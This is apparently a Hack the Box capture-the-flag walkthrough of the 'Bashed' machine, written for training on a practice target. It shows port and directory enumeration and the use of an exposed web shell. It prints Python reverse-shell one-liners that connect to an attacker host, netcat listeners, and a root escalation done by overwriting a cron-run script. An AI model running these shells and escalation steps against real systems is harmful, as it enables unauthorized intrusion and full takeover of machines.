Hack the Box - Bashed - Walkthrough

Introduction

Today we're going to be doing a pentest walkthrough of the Bashed machine hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Bashed machine as the victim system. After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.98.229.

Scanning and Enumeration

We'll start by scanning for open ports with Nmap:

nmap -T4 -p- 10.129.98.229

Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:

nmap -T4 -p80 10.129.98.229

Seeing that we only have an Apache server port open on the target, we enumerate the web directories using Gobuster:

gobuster dir -u http://10.129.98.229/ -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,html -s 200,204,301,302,307,403,401

The /dev directory looks suspicious, so let's check it out in our web browser:

http://10.129.98.229/dev/

And let's take a look at phpbash.php:

http://10.129.98.229/dev/phpbash.php

It looks like this web app essentially gives us a web shell. Let's test it out by checking the host's version info:

uname -a

Capturing the User Flag

Because we essentially have an interactive web shell at this point, we can capture the system's User flag now. User flag files on Hack the Box Linux systems are usually located in a user's /home directory. In this case, it's in the /home/arrexel directory:

cat /home/arrexel/user.txt

Finding a Way In

I think we can definitely get a reverse shell connection through this web page, but let's check to see if Python is on the system for a potential method of getting our shell:

which python

This confirms we can use Python to open a reverse shell. Before we do that, we need to start our Netcat listener on our attacking system:

sudo nc -nlvp 443

And now to send the Python command through the webpage:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.99.99",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

whoami

Foothold Enumeration

Let's see what our user can do:

sudo -l

It looks like our user can switch to the scriptmanager user without supplying a password. Let's try that:

sudo -u scriptmanager /bin/bash
whoami
python -c ‘import pty; pty.spawn("/bin/bash")’

So we're the scriptmanager user now, and we've used python to upgrade our shell. Why do we want to be the scriptmanager user? Let's check which files this user owns.

find / -user scriptmanager -type f 2>/dev/null

Scripts. Scheduled job scripts are a classic privilege escalation technique, so let's check out that test.py file.

cat /scripts/test.py

The script creates the test.txt file, writes a string to it, then finishes. Let's take a look at the test.txt file:

ls -la /scripts

Privilege Escalation

One thing that sticks out about test.txt is that it was created by root. In addition, the file was created very recently. That leads us to conclude that the test.py script is being run very frequently, and is run as the root user. Since our current user owns the test.py script, we can modify the script to open a reverse shell back to our attacking system with Python commands.

Before we modify the test.py script, let's setup another Netcat listener on our attacking system to catch our root shell:

sudo nc -nlvp 80

And now to overwrite the contents of test.py with our reverse shell python script:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.99.99",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > test.py

We wait a minute for the scheduled script to run, then:

whoami

Capturing the Root Flag

Root flags on Hack the Box Linux systems are usually in the /root directory, so let's capture it now:

cat /root/root.txt

Summary

After initial scans, we found that there was a web-app located on the target's web server which allowed command injection on the web host, which we utilized to obtain a foothold into the system. Once inside the target, we found that there was a frequently-run scheduled command running as the root user that was linked to a script file that our low-privileged user could edit. We edited the script file, which allowed us to open a root shell on the target and obtain the objective flag files.

Finish